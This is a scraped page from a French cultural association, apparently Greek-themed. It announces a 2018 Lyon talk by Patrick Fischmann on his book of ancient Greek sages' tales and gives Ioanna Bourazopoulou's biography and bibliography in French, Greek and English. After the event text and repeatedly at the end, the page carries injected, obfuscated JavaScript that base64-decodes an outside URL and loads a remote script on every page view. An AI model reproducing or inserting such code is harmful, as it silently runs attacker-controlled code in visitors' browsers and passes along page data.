La littérature

Defkalion a le plaisir d’inviter Patrick Fischmann pour présenter son livre:
Contes des sages de la Grèce Antique

le 26 janvier 2018 de 19h30 à 21h30

dans les locaux de l’IUT Lyon 1
17 rue de France (métro Gratte Ciel, Villeurbanne),
dans l’amphithéâtre 1, bâtiment A.
(Possibilité d’utiliser le parking de l’IUT, 100 places, gratuit-> http://plan.univ-lyon1.fr/plans/iutb_detail.html)

Ecrivain, poète et conteur, Patrick Fischmann réveille et rassemble des contes du monde entier. Son intention de transmettre la poésie des mots à travers l’oralité et l’écrit, révèle une parole riche et généreuse. Chanteur et compositeur multi-instrumentiste, attentif à la mélodie de chaque sagesse, il participe, avec joie et sensibilité, au réensemencement multiculturel et spirituel par les contes. Traduit en anglais, italien, chinois et mongol, il a publié quatorze recueils dans la collection des Contes des Sages dont les “Contes des sages de la Grèce antique”.

Présentation des ” Contes des sages de la Grèce Antique ”

Ce recueil nous porte au cœur de la pensée ancienne, dans un entrelacs de récits mythologiques, d’échos, dialogues et métaphores passés au souffle des sages qui inventèrent la philosophie.

On rencontre Dionysos, Thésée, Pan, Chiron, Héraclite, Socrate et Épicure. On suit Diogène dans les rues d’Athènes et le dieu gouailleur Momos. On entend les voix sublimes d’Orphée, d’Apollon, d’Arion, de Sapho. On contemple la beauté d’Aphrodite et l’on voit paraître l’Odyssée. Diotimée la devineresse nous invite dans sa grotte. Platon, Aristote, Empédocle nous parlent. Et Gygès, Eratosthène, Pythagore, Périclès, Hercule, Anaxagore… Puis, les Muses et les nymphes nous conduisent vers Pygmalion, qui met au monde l’âme de la Grèce.

Un voyage ingénieux et coloré où le miroir des dieux et des héros se reflète dans l’esprit des philosophes. L’auteur y réveille l’antique sagesse pour réensemencer notre vision du monde.

Patrick Fischmann signe ici son douzième titre dans la collection des Contes des sages. Un livre tout en finesse, servi par une iconographie somptueuse.

Au plaisir de vous y retrouver,(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

Ioànna Bourazopoùlou, née à Athènes en 1968, a étudié la gestion hôtelière et la gestion publique en Grèce et en Angleterre.
Elle écrit surtout des romans et du théâtre. Elle a publié des nouvelles et des articles dans la presse quotidienne et périodique ainsi que dans des revues littéraires grecques.

 

Bibliographie:

• Le boudoir de Nadir (2003), edts Kastaniotis.

• L’eau secrète (2005), edts Kastaniotis.

• Qu’a-t-elle vu, la femme de Lot ? (2007), edts Kastaniotis.   Prix d’Athènes pour la littérature 2008. 
En français : Qu’a-t-elle vu, la femme de Lot ? (2011), trad. Michel Volkovitch, edts Ginkgo.
En anglais : What Lot’s wife saw (2013), trad. Yiannis Panas, edts Black and White. 

• Coupable innocence (2011), edts Kastaniotis.

• Le voyage des trolls (2009), conte pour enfants, edts Kastaniotis.

Η Ιωάννα Μπουραζοπούλου γεννήθηκε στην Αθήνα το 1968. Σπούδασε Διοίκηση Ξενοδοχείων και Δημόσια Διοίκηση στην Ελλάδα και την Αγγλία.
Συγγράφει κυρίως μυθιστορήματα και θεατρικά έργα. Διηγήματα και άρθρα της έχουν δημοσιευθεί στον ημερήσιο και περιοδικό τύπο, καθώς και σε λογοτεχνικά έντυπα της Ελλάδας.

 

Κυκλοφορούν στα ελληνικά τα μυθιστορήματα:

·         «Το Μπουντουάρ του Ναδίρ» (2003) Εκδόσεις Καστανιώτη

·         «Το Μυστικό Νερό» (2005) Εκδόσεις Καστανιώτη

·         «Τι είδε η Γυναίκα του Λωτ;» (2007) Εκδόσεις Καστανιώτη.
Βραβευμένο με το Athens Prize for Literature 2008 του Περιοδικού ΔΕΚΑΤΑ.
Κυκλοφορεί στα Γαλλικά από το 2011, σε μετάφραση Michel Volkovitch Εκδόσεις GINKGO και
στα Αγγλικά από τον Ιούνιο του 2013, σε μετάφραση Yiannis Panas, Εκδόσεις BLACK & WHITE.

·         «Η Ενοχή της Αθωότητας» (2011) Εκδόσεις Καστανιώτη.  

·         Το παιδικό παραμύθι «Το ταξίδι των τρολ» (2009) Εκδόσεις Καστανιώτη

 

 

Ioanna Bourazopoulou was born in Athens in 1968. She studied hotel Management and Public Administration in Greece and the UK. She is a novelist and a play writer. Short storied and articles of hers are published in Greek newspapers, magazines and literary magazines.

 

Bibliography:

·         ‘The Boudoir of Nadir’, (2003), published in Greek by KASTANIOTIS EDITIONS.

·         ‘The Secret Water’ (2005), published in Greek by KASTANIOTIS EDITIONS.

‘What Lot’s Wife Saw’ (2007), published in Greek by KASTANIOTIS EDITIONS.

Awarded the Athens Prize for Literature 2008. Published in French (2011), “Qu’a-t-elle vu, la femme de Loth?” by GINKGO,

translated by Michel Volkovitch. Published in English (2013)

“What Lot’s Wife Saw” by BLACK AND WHITE, translated by Yiannis Panas.

·         ‘The guilt of innocence’ (2011), published in Greek by KASTANIOTIS EDITIONS.

·         And a book for children, ‘The journey of the trolls’, (2009) published in Greek by KASTANIOTIS EDITIONS.

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();